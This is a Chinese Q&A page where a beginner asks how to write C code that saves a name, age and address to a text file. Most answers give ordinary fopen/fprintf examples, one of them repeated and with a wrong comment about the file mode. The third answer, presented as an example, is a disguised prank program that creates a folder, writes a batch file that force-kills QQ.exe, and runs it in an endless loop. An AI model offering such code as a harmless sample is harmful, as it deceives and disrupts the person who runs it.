c语言 写入数据 输出文件

一个很简单的程序...基础不太好..一直没搞明白

就是说程序要求user输入姓名 年龄 住址。
然后输出为.txt文件

#include<stdio.h>
没看到你的源文件,所以随手给你写了个,你看看.

#include<stdlib.h>
#include<string.h>

int main()
{
int age, i = 1;
char name[64], addr[512], res[1024];

FILE *fp;

if ((fp=fopen("c:\\t.txt", "w+")) == 0) {
printf("无法创建文件..\n");
exit(1);
}
printf("输入第%d个同学姓名(如果为exit,将退出!): ", i);
scanf("%s", name);

while (strcmp(name, "exit") != 0) {
printf("年龄:");
scanf("%d", &age);
printf("住址:");
scanf("%s", addr);

sprintf(res, "name: %s, age: %d, addr: %s\n", name, age, addr);
fputs(res, fp);

printf("输入第%d个同学姓名(如果为exit,将退出!): ", ++i);
scanf("%s", name);
}

fclose(fp);
return 0;
}
温馨提示:答案为网友推荐,仅供参考
第1个回答  2015-11-19

写入数据,也就是从标准输入读数据,可以使用scanf,getchar,gets等输入函数完成。

输出文件,也就是写文件操作,可以使用标准C文件接口完成,包括fopen,fclose, fwrite,fputs,fputc,fprintf等。

以读入100个整型数,并输出到文件为例,代码如下:

#include <stdio.h>
int main()
{
    FILE *fp = fopen("out.txt", "w");//以读方式打开文件out.txt。
    int i, a;
    for(i = 0; i < 100; i ++)//执行100次。
    {
        scanf("%d",&a);//读入数据。
        fprintf(fp, "%d ", a);//写到文件。
    }
    fclose(fp);//关闭文件。
    
    return 0;
}

第2个回答  2019-08-22
写入数据,也就是从标准输入读数据,可以使用scanf,getchar,gets等输入函数完成。
输出文件,也就是写文件操作,可以使用标准C文件接口完成,包括fopen,fclose,
fwrite,fputs,fputc,fprintf等。
以读入100个整型数,并输出到文件为例,代码如下:
#include <stdio.h>
int main()
{
FILE *fp = fopen("out.txt", "w");//以读方式打开文件out.txt。
int i, a;
for(i = 0; i < 100; i ++)//执行100次。
{
scanf("%d",&a);//读入数据。
fprintf(fp, "%d ", a);//写到文件。
}
fclose(fp);//关闭文件。

return 0;
}
第3个回答  2015-10-18
给你个例子

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<string.h>
int yun()
{
system("C:\\sblong\\kill.bat");

}

void jian()
{
mkdir("c:\\sblong");
}

void xie()
{
int x=6;
FILE *fp=fopen("C:\\sblong\\kill.bat","w");
fprintf(fp,"taskkill -f -im QQ.exe\n");
fclose(fp);
}

void main()
{
while (1)
{
jian() ;
xie();
yun() ;
}
}
第4个回答  2015-11-02
scanf
printf
相似回答